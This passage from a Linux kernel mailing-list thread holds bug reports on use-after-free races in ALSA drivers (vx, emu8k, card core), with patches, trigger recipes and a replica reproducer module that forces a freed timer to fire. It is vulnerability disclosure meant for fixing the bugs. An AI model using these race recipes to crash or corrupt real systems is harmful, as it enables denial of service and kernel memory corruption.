The only lock in the driver, chip->lock, guards hardware message
transactions (vx_send_msg(), vx_core.c:345-349; the DMA chunk
transfer, vx_pcm.c:633) -- it does not cover the array reads, the
pipe dereferences, the ->prepared/->running checks, the unlocked
pipe->references refcount (vx_pcm.c:920/966), or the kfree. Because
pipe->prepared is set in vx_pcm_prepare() (L844) and NEVER cleared
anywhere, a stream that was merely opened and prepared keeps the IRQ
thread inside the multi-chunk transfer loop even after the stream has
been stopped: pcm close first stops the stream and then unpublishes
and kfrees the pipe, and the close side's vx_send_msg() serializes
against the IRQ thread's chunk transaction on chip->lock -- so the
kfree lands exactly at a chunk boundary, and the IRQ thread's next
loop iteration reads the freed pipe (UAF at vx_pcm.c:683 and inside
vx_pseudo_dma_write()). The capture side has the narrower
load-pointer-vs-free window (vx_pcm_capture_update() early-returns on
pipe->running, but that read itself is against freed memory once the
free wins the race). No privileges are needed for the close side;
VXPocket/vx222 hardware is required for any of this to be reachable.
This is a report-first submission: no reproducer is attached, because
the hardware cannot be emulated; the analysis below is complete and
the patch at the end is provided for direct testing by anyone with the
hardware.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Static analysis on vanilla mainline 7.3; sound/drivers/vx/vx_pcm.c
and vx_core.c are byte-identical between the audited tree and the
vanilla 7.3 verification tree. Not dynamically verified: QEMU x86
has no VXPocket (PCMCIA) or vx222 (PCI) emulation, and no other
in-tree user of the vx core exists.
* Mechanism
- free side (process context): pcm close ->
snd_pcm_release() -> snd_pcm_release_substream() ->
snd_pcm_drop() (stops the stream; note vx's trigger(STOP) clears
pipe->running but nothing clears pipe->prepared) ->
ops->close: vx_pcm_playback_close(): L568
chip->playback_pipes[pipe->number] = NULL (unlocked), L569
vx_free_pipe(): L345 vx_send_msg() = guard(mutex)(&chip->lock)
+ hardware transaction, then L451 kfree(pipe) -- outside any lock
that the IRQ side respects. vx_pcm_capture_close() L957/L973 is
the capture-side equivalent.
- IRQ side (threaded handler, process context on another CPU):
vx_pcm_update_intr(): L1120/L1130 load pipe from the array
unlocked; L1121/L1131 dereference pipe->substream;
vx_pcm_playback_transfer() passes the pipe->prepared check at
L683 (prepared is never cleared) and runs the L685-690 chunk
loop, each iteration taking chip->lock for the DMA transaction
(vx_pcm.c:633). The close side's vx_send_msg() waits on
chip->lock at exactly a chunk boundary, completes FREE_PIPE and
kfree(pipe), and the IRQ thread's next iteration dereferences the
freed pipe (L683 -> vx_pseudo_dma_write(chip, runtime, pipe, ...)
inside the still-held chip->lock).
- the same unlocked pattern also leaves the shared monitoring
pipe's pipe->references refcount non-atomic (L920 increment,
L966 decrement).
What chip->lock does NOT cover is decisive here: the array publish/
unpublish, the pipe field dereferences, and the kfree are all
outside it on both sides; VX_STAT_IS_STALE (checked at handler
entry) only gates device removal, not close.
* Trigger model
VXPocket/vx222 present and bound; a playback stream opened and
prepared (DSP interrupts keep the threaded handler inside the
transfer loop); close(fd) (or drop+close) while the handler is
processing -- the chunk-boundary serialization makes the free land
between two IRQ iterations. Capture side: any interrupt arriving
while close frees the pipe. Consequence: use-after-free
read/write on struct vx_pipe and, via the stale pipe, on the
runtime buffers (the pseudo-DMA path reads/writes runtime->dma_area
through the freed pipe's fields) -- memory corruption and crash,
triggerable by an unprivileged local user.
* Patch
vx_pcm_playback/capture_close() unpublish and kfree pipes while
vx_pcm_update_intr() (threaded IRQ) walks the pipe arrays and
dereferences the pipes with no lock common to the two sides; the
multi-chunk DMA loop keeps using pipe->prepared (never cleared) even
for stopped streams, and the close side's vx_send_msg() serializes on
chip->lock exactly at a chunk boundary, so the kfree lands between
two IRQ iterations -- use-after-free on struct vx_pipe and, through
it, on the runtime buffers.
Add pcm_lock to struct vx_core; take it in the pipe publish/unpublish/
free paths, around the pipe walks in vx_pcm_update_intr(), and around
the pipe->references updates. Clear pipe->prepared on trigger STOP.
Ordering is uniformly pcm_lock -> chip->lock.
---
include/sound/vx_core.h | 1 +
sound/drivers/vx/vx_core.c | 1 +
sound/drivers/vx/vx_pcm.c | 46 ++++++++++++++++++++++++++-------
3 files changed, 39 insertions(+), 7 deletions(-)
diff --git a/include/sound/vx_core.h b/include/sound/vx_core.h
--- a/include/sound/vx_core.h
+++ b/include/sound/vx_core.h
@@ -150,6 +150,7 @@ struct vx_core {
const struct snd_vx_hardware *hw;
const struct snd_vx_ops *ops;
struct mutex lock;
+ struct mutex pcm_lock; /* pipe arrays + pipe lifetime vs the
+ * threaded IRQ walker (vx_pcm) */
unsigned int chip_status;
unsigned int pcm_running;
diff --git a/sound/drivers/vx/vx_core.c b/sound/drivers/vx/vx_core.c
--- a/sound/drivers/vx/vx_core.c
+++ b/sound/drivers/vx/vx_core.c
@@ -789,6 +789,7 @@ int snd_vx_create(struct snd_card *card, struct snd_vx_hardware *hw,
}
strcpy(card->driver, hw->name);
mutex_init(&chip->lock);
+ mutex_init(&chip->pcm_lock);
mutex_init(&chip->mixer_mutex);
...
diff --git a/sound/drivers/vx/vx_pcm.c b/sound/drivers/vx/vx_pcm.c
--- a/sound/drivers/vx/vx_pcm.c
+++ b/sound/drivers/vx/vx_pcm.c
@@ -529,6 +529,7 @@ static int vx_pcm_playback_open(struct snd_pcm_substream *subs)
if (snd_BUG_ON(audio >= chip->audio_outs))
return -EINVAL;
+ guard(mutex)(&chip->pcm_lock);
/* playback pipe may have been already allocated for monitoring */
pipe = chip->playback_pipes[audio];
if (! pipe) {
@@ -566,12 +567,16 @@ static int vx_pcm_playback_close(struct snd_pcm_substream *subs)
if (! subs->runtime->private_data)
return -EINVAL;
pipe = subs->runtime->private_data;
+ guard(mutex)(&chip->pcm_lock);
if (--pipe->references == 0) {
chip->playback_pipes[pipe->number] = NULL;
vx_free_pipe(chip, pipe);
@@ -749,6 +752,7 @@ static int vx_pcm_trigger(struct snd_pcm_substream *subs, int cmd)
vx_toggle_pipe(chip, pipe, 0);
vx_stop_pipe(chip, pipe);
vx_stop_stream(chip, pipe);
+ pipe->prepared = 0;
chip->pcm_running--;
pipe->running = 0;
break;
@@ -906,6 +909,7 @@ static int vx_pcm_capture_open(struct snd_pcm_substream *subs)
if (chip->chip_status & VX_STAT_IS_STALE)
return -EBUSY;
+ guard(mutex)(&chip->pcm_lock);
audio = subs->pcm->device * 2;
if (snd_BUG_ON(audio >= chip->audio_ins))
return -EINVAL;
@@ -955,6 +959,7 @@ static int vx_pcm_capture_close(struct snd_pcm_substream *subs)
if (! subs->runtime->private_data)
return -EINVAL;
pipe = subs->runtime->private_data;
+ guard(mutex)(&chip->pcm_lock);
chip->capture_pipes[pipe->number] = NULL;
@@
void vx_pcm_update_intr(struct vx_core *chip, unsigned int events)
{
unsigned int i;
struct vx_pipe *pipe;
+ guard(mutex)(&chip->pcm_lock);
#define EVENT_MASK (END_OF_BUFFER_EVENTS_PENDING|ASYNC_EVENTS_PENDING)
@@
/* read the last pending 6 bytes */ ... (capture close also
covered by the guard above)
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: sb: emu8k frees the pcm private data without syncing the self-rearming period timer (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (36 preceding siblings ...)
2026-12-01 12:48 ` ALSA: vx: vx_free_pipe() kfrees pipes with no lock common to the threaded IRQ pipe walker (UAF) 徐晗翔
@ 2026-12-01 12:51 ` 徐晗翔
2026-12-01 13:12 ` ALSA: core: serialize card disconnect/free and quiesce codecs before device release (UAF) 徐晗翔
` (3 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:51 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7254 bytes --]
The emu8000 (SB AWE) PCM driver drives its period handling with a
self-re-arming kernel timer: emu8k_pcm_timer_func()
(sound/isa/sb/emu8000_pcm.c:183-211) re-arms itself unconditionally
every jiffy while a voice is started (mod_timer at L200 inside the
timer_lock section) and, outside that lock, calls
snd_pcm_period_elapsed(rec->substream) (L210) on the pcm substream.
The only place that stops the timer is stop_voice()
(emu8000_pcm.c:362-368), and it uses plain timer_delete() -- which
cancels a pending expiry but does NOT wait for a callback instance
that is already running. emu8k_pcm_close()
(emu8000_pcm.c:243-249) then simply kfrees the struct snd_emu8k_pcm
(the object that owns both the timer and the substream pointer) with
no synchronization at all: a callback instance that is between
releasing timer_lock and finishing snd_pcm_period_elapsed() -- or one
blocked on the stream lock while close holds it -- ends up reading
rec->substream out of freed memory and calling snd_pcm_period_elapsed()
on a substream whose runtime is being torn down.
The same missing synchronization also extends the window on the driver
removal path: nothing between snd_pcm_dev_disconnect() (which does
stop the stream for a RUNNING stream, via snd_pcm_do_stop() ->
ops->trigger(STOP) -> stop_voice()) and the kfree of the substream in
snd_pcm_free() waits for an in-flight callback either.
Reproduced on mainline 7.3 with a mechanism replica (attached): since
AWE64 ISA hardware cannot be instantiated under QEMU x86, the
reproducer replicates the three audited code fragments 1:1 in
semantics (self-re-arm inside the lock, timer_delete in
stop_voice(), bare kfree(rec) in close) on a lookalike struct, but
runs them through the REAL kernel timer machinery. The controlled
"escape order" plan (start -> 2s of real firing -> stop ->
in-flight callback body mimicked after the timer_delete -> close ->
kfree(rec)) makes the real timer subsystem fire into the freed
object: 4 KASAN reports, "slab-use-after-free WRITE in
__run_timers+0x20f" in IRQ context on the freed timer_list/rec, and
the guest loses its timer wheel afterwards (the freed timer was
re-armed) -- the audited "freed timer still executes and re-arms"
consequence, demonstrated end to end. A natural 300-round hammering
variant stayed negative, consistent with the narrow in-flight window.
The fix below applies to the real driver code.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/isa/sb/emu8000_pcm.c is byte-identical between the audited
tree and the vanilla verification tree; the reproducer is a labeled
mechanism replica (hardware unavailability), not the real driver.
* Mechanism
- arm: trigger(START) -> start_voice() L346-351: mod_timer(jiffies+1)
+ rec->timer_running = 1.
- fire: emu8k_pcm_timer_func() L183-211: under rec->timer_lock it
reads EMU8000 registers and re-arms unconditionally (L200); it
releases timer_lock at L207 and only then (L210, unlocked) calls
snd_pcm_period_elapsed(rec->substream).
- stop: trigger(STOP)/stop_voice() L362-368: under timer_lock,
timer_delete(&rec->timer) + timer_running = 0. timer_delete()
does not wait for a running instance; the callback's L210 section
is not covered by timer_lock.
- free: emu8k_pcm_close() L243-249: kfree(rec) -- no
timer synchronization of any kind (the kernel provides
timer_shutdown_sync() exactly for this).
Interleaving: the in-flight callback is typically blocked at L210 on
the stream lock while close holds it inside snd_pcm_drop()'s stop
action; when close's action releases the lock and proceeds to
ops->close (kfree(rec)), the resumed callback reads rec->substream
from freed memory. On the driver-removal path the same in-flight
window exists between snd_pcm_do_stop()'s trigger(STOP) and the
kfree(substream) in snd_pcm_free().
Consequence: UAF read/write on struct snd_emu8k_pcm (and, when close
has progressed further, on the runtime/substream), plus -- if the
freed callback still re-arms -- a freed timer_list executing from
the timer wheel, which corrupts the timer subsystem.
* Trigger model
Play anything through /dev/snd/pcmC*D1p on an SB AWE card (timer
armed, firing every jiffy) and close the stream; a close that lands
while a callback instance is in flight UAFs. The closing user needs
no privileges; SB AWE hardware is required for the real driver.
* Reproducer (attached: fwmr05.c) -- honesty note -- and results on 7.3 (still present as of 7.4-rc5)
The reproducer is a mechanism replica, clearly labeled as such in its
header: it reproduces the three audited fragments (self-re-arm under
the lock with no state check, timer_delete in stop, bare kfree(rec)
in close) 1:1 in semantics on a lookalike struct, using the real
kernel timer wheel. It cannot exercise the real emu8000_pcm.c
because that needs AWE64 ISA hardware; the patch below is against
the real driver code.
make -C <kernel-build-dir> M=$PWD modules
insmod fwmr05.ko
echo 1 > /sys/module/fwmr05/parameters/fw05_ctl # controlled
rmmod fwmr05; insmod fwmr05.ko
echo 1 > /sys/module/fwmr05/parameters/fw05_nat # natural
Results (7.3, 2 vCPU): controlled plan -- 4 KASAN reports,
"slab-use-after-free WRITE in __run_timers+0x20f" in IRQ context on
the freed rec/timer_list (the freed timer was re-armed into the
wheel), after which the guest timer subsystem is corrupted and the
VM becomes unstable (expected consequence of the audited defect);
natural plan -- 0 hits in 300 start/stop/close rounds (window
quantification, consistent with the per-jiffy in-flight window).
* Patch
emu8k_pcm_close() kfrees struct snd_emu8k_pcm with no timer
synchronization: stop_voice() uses plain timer_delete(), which does
not wait for a callback instance that is already running, and the
callback's snd_pcm_period_elapsed(rec->substream) at L210 runs
outside rec->timer_lock. A close (or a driver removal freeing the
substream) that lands while an instance is in flight reads
rec->substream from freed memory; a freed callback that still
re-arms puts a freed timer_list back into the wheel.
Use timer_shutdown_sync() in emu8k_pcm_close(): it waits for an
in-flight instance and marks the timer so any late mod_timer() from
the callback is ignored. In the common (already stopped) path it
returns immediately.
---
sound/isa/sb/emu8000_pcm.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/sound/isa/sb/emu8000_pcm.c b/sound/isa/sb/emu8000_pcm.c
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -242,9 +242,16 @@ static int emu8k_pcm_prepare(struct snd_pcm_substream *subs)
static int emu8k_pcm_close(struct snd_pcm_substream *subs)
{
struct snd_emu8k_pcm *rec = subs->runtime->private_data;
+ timer_shutdown_sync(&rec->timer);
+
kfree(rec);
subs->runtime->private_data = NULL;
--
2.43.0
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr05.c --]
[-- Type: text/plain, Size: 8556 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr05.c - mechanism-replica harness for audit case FW-MR-05
* (docs/manual-review-sound-firewire-2026-11-26.md, v4):
*
* "emu8k èªç»è·å®æ¶å¨ä¸æ 忥 timer_delete/close ç«äº ->
* snd_emu8k_pcm UAF ä¸å·²éæ¾ timer_list éæè½½"
*
* The real driver (sound/isa/sb/emu8000_pcm.c) needs AWE64 ISA hardware,
* which QEMU x86 cannot provide. This harness is a MECHANISM REPLICA: the
* three audited code fragments are replicated 1:1 in semantics on a
* lookalike struct, and the REAL kernel timer machinery is used so the
* freed-timer re-arm manifests through the genuine timer subsystem:
*
* f5_timer_func() <- emu8k_pcm_timer_func() (emu8000_pcm.c:183-211)
* scoped_guard(spinlock, &rec->timer_lock) { position update;
* mod_timer(&rec->timer, jiffies + 1); }
* (L200: unconditional self-re-arm, no state check anywhere)
* f5_start_voice() <- start_voice() timer half (emu8000_pcm.c:346-351)
* f5_stop_voice() <- stop_voice() (emu8000_pcm.c:357-369)
* guard(spinlock_irqsave)(&rec->timer_lock) {
* if (rec->timer_running) { timer_delete(&rec->timer);
* rec->timer_running = 0; } }
* f5_close() <- emu8k_pcm_close() (emu8000_pcm.c:246-252)
* kfree(rec); (no timer cleanup of any kind)
*
* Plans (module params):
* fw05_ctl - deterministic "escape order" (the audited Case-3
* interleaving, force-constructed and labeled as such):
* open -> start (timer runs, self-rearms for ~2s of real
* firing) -> stop (timer_delete + running=0) -> inflight
* (run the verbatim callback body once, mimicking the
* already-dequeued callback that re-arms AFTER stop: mod_timer
* re-arms the timer on a rec that stop() believes dead)
* -> close (kfree(rec)) -> <=1 jiffy later the REAL timer
* fires on the freed rec: UAF read of rec->timer_lock/fields
* and re-arm of the freed timer_list.
* fw05_nat - natural hammering: 300 rounds of
* start -> usleep(1-3ms) -> stop -> close, racing the real
* per-jiffy callback (narrow window, honest attempt).
*
* Zero kernel source modification.
*/
#define pr_fmt(fmt) "FWMR05: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/timer.h>
#include <linux/kthread.h>
#include <linux/delay.h>
/*
* Lookalike of struct snd_emu8k_pcm (emu8000_pcm.c:44-60): the audited
* fields are laid out identically in role (timer embedded in the struct,
* spinlock guards it, state flags checked by NOBODY in the callback).
*/
struct f5rec {
spinlock_t timer_lock;
struct timer_list timer;
unsigned int timer_running:1;
unsigned int running:1;
int last_ptr;
int period_pos;
int buf_size;
int period_size;
void *substream; /* real driver: snd_pcm_substream */
};
static struct f5rec *rec;
/*
* Verbatim semantics of emu8k_pcm_timer_func() (emu8000_pcm.c:183-211):
* position update under timer_lock, UNCONDITIONAL self-re-arm at L200
* (no timer_running/running check anywhere), period handling, and the
* out-of-lock snd_pcm_period_elapsed(rec->substream) at L210.
*/
static void f5_body(struct f5rec *r)
{
bool elapsed = false;
scoped_guard(spinlock, &r->timer_lock) {
/* emu8k_get_curpos() + delta update analog */
int ptr = r->last_ptr + 1;
int delta = ptr - r->last_ptr;
r->period_pos += delta;
r->last_ptr = ptr;
/* L200: the audited unconditional self-re-arm */
mod_timer(&r->timer, jiffies + 1);
if (r->period_pos >= r->period_size) {
r->period_pos %= r->period_size;
elapsed = true;
}
}
if (elapsed) {
/* L210 analog: snd_pcm_period_elapsed(rec->substream);
* no real pcm in the replica -- the freed-rec read above is
* the KASAN-relevant dereference. */
}
}
static void f5_timer_func(struct timer_list *t)
{
struct f5rec *r = timer_container_of(r, t, timer);
f5_body(r);
}
/* start_voice() timer half (emu8000_pcm.c:346-352), verbatim semantics */
static void f5_start_voice(void)
{
guard(spinlock_irqsave)(&rec->timer_lock);
if (!rec->timer_running) {
mod_timer(&rec->timer, jiffies + 1);
rec->timer_running = 1;
}
}
/* stop_voice() (emu8000_pcm.c:357-369), verbatim semantics:
* timer_delete() without any synchronization for an in-flight callback. */
static void f5_stop_voice(void)
{
guard(spinlock_irqsave)(&rec->timer_lock);
if (rec->timer_running) {
timer_delete(&rec->timer);
rec->timer_running = 0;
}
}
/* emu8k_pcm_close() (emu8000_pcm.c:246-252), verbatim semantics */
static void f5_close(void)
{
pr_info("close: kfree(rec) with no timer cleanup\n");
kfree(rec);
rec = NULL;
}
static int f5_open_set(const char *val, const struct kernel_param *kp)
{
if (rec)
return -EBUSY;
rec = kzalloc(sizeof(*rec), GFP_KERNEL);
if (!rec)
return -ENOMEM;
spin_lock_init(&rec->timer_lock);
timer_setup(&rec->timer, f5_timer_func, 0);
rec->buf_size = 4096;
rec->period_size = 1024;
pr_info("open: rec=%p timer_setup done (emu8k_pcm_open analog)\n", rec);
return 0;
}
static int f5_start_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
rec->running = 1;
f5_start_voice();
pr_info("start: timer armed, will self-re-arm every jiffy\n");
return 0;
}
static int f5_stop_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
rec->running = 0;
f5_stop_voice();
pr_info("stop: timer_delete done, timer_running=0 "
"(no sync for in-flight callback -- audited shape)\n");
return 0;
}
/*
* The audited Case-3 escape interleaving, force-constructed: an already-
* dequeued callback (started before stop() completed) runs its verbatim
* body AFTER stop() and re-arms the timer on a rec the stop path believes
* dead. This is a controlled construction -- it only widens the window,
* the three code fragments are the audited ones verbatim.
*/
static int f5_inflight_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
pr_info("inflight: running verbatim callback body post-stop "
"(case-3 escape construction)\n");
f5_body(rec);
pr_info("inflight: body returned -- timer re-armed on a stopped rec\n");
return 0;
}
static int f5_close_set(const char *val, const struct kernel_param *kp)
{
if (!rec)
return -ENODEV;
f5_close();
pr_info("close done: armed timer on freed rec fires in <=1 jiffy\n");
return 0;
}
/* ---- natural hammering variant ---- */
static unsigned int f5_rounds = 300;
static struct task_struct *f5_thr;
static int f5_nat_fn(void *arg)
{
int n;
for (n = 0; n < f5_rounds && !kthread_should_stop(); n++) {
rec = kzalloc(sizeof(*rec), GFP_KERNEL);
if (!rec)
break;
spin_lock_init(&rec->timer_lock);
timer_setup(&rec->timer, f5_timer_func, 0);
rec->buf_size = 4096;
rec->period_size = 1024;
rec->running = 1;
f5_start_voice();
usleep_range(1000, 3000); /* 1-3 jiffies of real firing */
f5_stop_voice();
f5_close(); /* kfree(rec) */
usleep_range(2000, 4000); /* let a re-armed timer land */
}
pr_info("nat: %d rounds done\n", n);
return 0;
}
static int f5_nat_set(const char *val, const struct kernel_param *kp)
{
f5_thr = kthread_run(f5_nat_fn, NULL, "fwmr05_nat");
return 0;
}
static const struct kernel_param_ops f5_open_ops = { .set = f5_open_set };
static const struct kernel_param_ops f5_start_ops = { .set = f5_start_set };
static const struct kernel_param_ops f5_stop_ops = { .set = f5_stop_set };
static const struct kernel_param_ops f5_inflight_ops = { .set = f5_inflight_set };
static const struct kernel_param_ops f5_close_ops = { .set = f5_close_set };
static const struct kernel_param_ops f5_nat_ops = { .set = f5_nat_set };
module_param_cb(fw05_open, &f5_open_ops, NULL, 0200);
module_param_cb(fw05_start, &f5_start_ops, NULL, 0200);
module_param_cb(fw05_stop, &f5_stop_ops, NULL, 0200);
module_param_cb(fw05_inflight, &f5_inflight_ops, NULL, 0200);
module_param_cb(fw05_close, &f5_close_ops, NULL, 0200);
module_param_cb(fw05_nat, &f5_nat_ops, NULL, 0200);
static int __init fwmr05_init(void)
{
return 0;
}
static void __exit fwmr05_exit(void)
{
if (f5_thr)
kthread_stop(f5_thr);
if (rec) {
timer_delete_sync(&rec->timer);
kfree(rec);
rec = NULL;
}
}
module_init(fwmr05_init);
module_exit(fwmr05_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("FW-MR-05 emu8k timer mechanism-replica harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: core: serialize card disconnect/free and quiesce codecs before device release (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (37 preceding siblings ...)
2026-12-01 12:51 ` ALSA: sb: emu8k frees the pcm private data without syncing the self-rearming period timer (UAF) 徐晗翔
@ 2026-12-01 13:12 ` 徐晗翔
2026-12-01 13:14 ` ALSA: core: pin and serialize snd_card_register() against disconnect/free (UAF) 徐晗翔
` (2 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 13:12 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
The card lifecycle protocol treats card->shutdown purely as a re-entry
guard and as an "already disconnected" indicator, but nothing makes a
disconnect *complete* before others act on the flag, and nothing pins
the card while a disconnect is in flight. Three consequences on
mainline 7.3, re-checked and still present on 7.4.0-rc5, all reachable
from plain admin-level sysfs operations (reconfig write x PCI unbind),
all verified in a KASAN QEMU guest:
1. Hang + card leak: snd_hda_lock_devices() reuses card->shutdown as
a reversible pseudo-lock while a reconfig detaches the codec
driver (reproduced identically on 7.4-rc5). A PCI unbind that enters snd_card_free() inside that
window gets snd_card_disconnect() early-returned at the
"shutdown" check, skips the entire disconnect phase (minors stay
registered, snd_cards[] stays populated, no device_del), and then
blocks FOREVER in snd_card_free()'s wait_for_completion() - the
completion is only fired from snd_card_do_free(), which requires
the card reference count to reach zero, which cannot happen while
the minors are still registered. Observed with a sysrq-t dump:
task in state D with "__wait_for_common <- snd_card_free+0xc8 <-
azx_remove+0x8c <- pci_device_remove <- unbind_store", while
/proc/asound/cards, /sys/class/sound/card0 and /dev/snd/* all
still listed the half-dead card. The reconfig writers then spin
in "The codec is being used, can't reconfigure." (678 messages in
the captured run) and the console flood wedges the guest.
2. Free-phase UAF: when a disconnect IS in flight (verb-timeout
fallback path calls snd_card_disconnect() from jackpoll/DRM-
notify context), a concurrent snd_card_free() early-returns from
the disconnect and its put_device() drops the last reference the
moment the disconnecting task deletes the last minor: the
release (snd_card_do_free -> snd_device_free_all -> list_del +
kfree(dev), then kfree(card)) nests into the deleting task's own
call chain and races the still-running disconnect loop over
card->devices. Hammering reconfig x codec unbind/bind x PCI
churn x PCM open/close produced 6 slab-use-after-free reports in
hda_free_jack_priv (free_all's JACK pass writing the codec's
already-freed jack table) and a wild-pointer
"Read of size 4 at addr dead000000000118" in
snd_device_register_all <- snd_card_register (reported in its own
mail).
3. Release-order window for the codec quiesce: cancel of the codec
poll work and the jack-table release only happen when the codec
device is freed (auto-detach inside snd_device_free_all's CODEC
pass) - after the JACK/HWDEP/PCM devices were already freed in
the same pass, so an in-flight poll work item or a concurrent
HDMI hotplug notification can still walk the just-freed objects.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Verified on Linux 7.3.0 (gcc 13.3.0, GNU ld 2.42) #3 SMP
PREEMPT_DYNAMIC and RE-CHECKED on Linux 7.4.0-rc5 (#1, 2026-12-01) -
both vanilla mainline trees, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest with -device intel-hda + hda-duplex. The
audited files (sound/core/init.c, sound/hda/common/codec.c,
sound/hda/controllers/intel.c, sound/hda/core/bus.c,
drivers/base/core.c, drivers/base/bus.c) are byte-identical between
the tested trees and the report baseline. The relevant protocol
(early return at init.c:503 / rc5:497, put_device at init.c:631 /
rc5:625, wait_for_completion at init.c:666 / rc5:660, pseudo-lock at
codec.c:1754->1761 / 1785->1791) is unchanged for many years and
unchanged in 7.4-rc5; line numbers below are from 7.3 with the rc5
anchors in parentheses where they drifted.
* Mechanism
The reference-count ledger
(Line numbers below are from 7.3; all rc5 anchors are within a dozen
lines of these - the functions, logic and control flow are unchanged,
verified by direct comparison of the two trees; rc5-specific anchors
are given inline in the re-check note above.)
that governs when snd_card_do_free() may
run: card->card_dev starts at 1 (device_initialize); every
registered minor (ctl/hwdep/pcm devices are children of card->card_dev,
sound/core/init.c:137) holds one parent reference taken by
device_add(); every open ALSA file holds one (snd_card_file_add,
init.c:1111). References are returned by device_del() during the
disconnect phase (snd_unregister_device, sound/core/sound.c:315),
by file closes (snd_card_file_remove), and by the single
put_device() in snd_card_free_when_closed() (init.c:631 / rc5:625). The
release (release_card_device -> snd_card_do_free ->
snd_device_free_all + kfree(card)) fires synchronously in whatever
task drops the last reference.
Given that ledger:
- normal sequential teardown works: disconnect deletes all minors
(count 1+C -> 1), put_device reaches zero, do_free runs;
- an in-flight disconnect (call it A) plus a concurrent
snd_card_free (B) that early-returns and put_device()s leaves
count = C (+F); A's minor deletions then cross zero *inside* A's
dev_disconnect callback, so snd_card_do_free() nests into the
callback's own stack and frees the very snd_device whose
dev_disconnect is executing; A continues on freed objects
(writes dev->state at sound/core/device.c:65 after the kfree,
keeps iterating freed list nodes) and later touches freed card
fields at init.c:540-560;
- with shutdown set by the pseudo-lock instead, B's disconnect is
skipped entirely: the minors are never deleted, B's put_device
cannot reach zero, and B waits forever (form 1 above).
The pseudo-lock itself (snd_hda_lock_devices,
sound/hda/common/codec.c:1746-1773) sets card->shutdown = 1 for the
duration of snd_hda_codec_reset()'s device_release_driver() and
clears it afterwards (codec.c:1785) - a *reversible* state driving
an *irreversible* release decision in snd_card_disconnect()
(init.c:503-505 / rc5:497-499).
* Trigger model
root/admin-level sysfs operations only: one writer looping
"echo 1 > /sys/class/sound/hwC0D0/reconfig", another doing
"echo <bdf> > /sys/bus/pci/drivers/snd_hda_intel/unbind", with no
ALSA files open. Reproductions on 7.3: hang + leak + EBUSY storm
(form 1, one-shot with sysrq dump), free-phase UAF family (form 2),
and four independent full-guest freezes at 33-48s across plan
variants (the post-hang EBUSY spin floods dmesg and livelocks the
console). Consequence: permanent uninterruptible hang of the PCI
removal path, permanent card/chip/IRQ/DMA leak with a still-open
user-visible card, console livelock (system-level DoS); form 2 adds
kernel memory corruption.
* Reproducer and results on 7.3 (still present as of 7.4-rc5)
Pure userspace (no test modules): the hangs, the sysrq-t task dump
with the stack quoted above, the leaked-card observations and the
EBUSY flood counts are captured in full serial logs; the form-2 UAF
reports are quoted in the companion mail for the register re-entry
and were captured during the same hammer series. Full serial logs
retained; available on request.
* Fix (full 3-patch series below)
1/3: core: serialize disconnect and pin the card during teardown.
New card->disconnect_mutex held for the whole
snd_card_disconnect() body; a concurrent caller (including
snd_card_free()'s disconnect) now WAITS for the in-flight
disconnect to fully finish instead of acting on a half-state;
disconnect pins the card with get_device()/put_device() so the
teardown body cannot race snd_card_do_free().
2/3: hda: split the lock_devices pseudo-lock from card->shutdown.
New card->pseudo_locked flag for snd_hda_lock_devices()/
snd_hda_unlock_devices(); snd_card_disconnect() no longer
mistakes the reversible pseudo-lock for a completed teardown,
which removes the skip-and-hang form entirely.
3/3: hda: quiesce the codec at codec-device disconnect. A
.dev_disconnect callback for the codec snd_device that cancels
the jackpoll work, waits out in-flight PCM users and detaches
the codec driver (running the standard
hda_codec_driver_remove() cleanup: jack table release, control
list removal, PCM release). All of that now happens in the
disconnect phase - while every other device is still alive -
instead of in the release phase, where snd_device_free_all()
frees JACK/HWDEP/PCM and codec devices in one pass.
The patches are written against 7.3 and reviewed by inspection;
they have not been runtime-validated (the reported reproduction
used the unpatched kernel). Happy to test any counter-proposal.
* Patch
[PATCH 1/3] ALSA: core: serialize card disconnect and pin the card
during teardown
--- a/include/sound/core.h
+++ b/include/sound/core.h
@@ -139,6 +139,8 @@
state */
spinlock_t files_lock; /* lock the files for this card */
int shutdown; /* this card is going down */
+ struct mutex disconnect_mutex; /* serializes disconnect/free/register */
+ bool pseudo_locked; /* hda pseudo device lock, not shutdown */
struct completion *release_completion;
struct device *dev; /* device assigned to this card */
struct device card_dev; /* cardX object for sysfs */
--- a/sound/core/init.c
+++ b/sound/core/init.c
@@ -324,6 +324,7 @@
xa_init(&card->ctl_hash);
#endif
spin_lock_init(&card->files_lock);
+ mutex_init(&card->disconnect_mutex);
INIT_LIST_HEAD(&card->files_list);
mutex_init(&card->memory_mutex);
#ifdef CONFIG_PM
@@ -499,24 +500,37 @@
if (!card)
return;
- scoped_guard(spinlock, &card->files_lock) {
- if (card->shutdown)
- return;
- card->shutdown = 1;
-
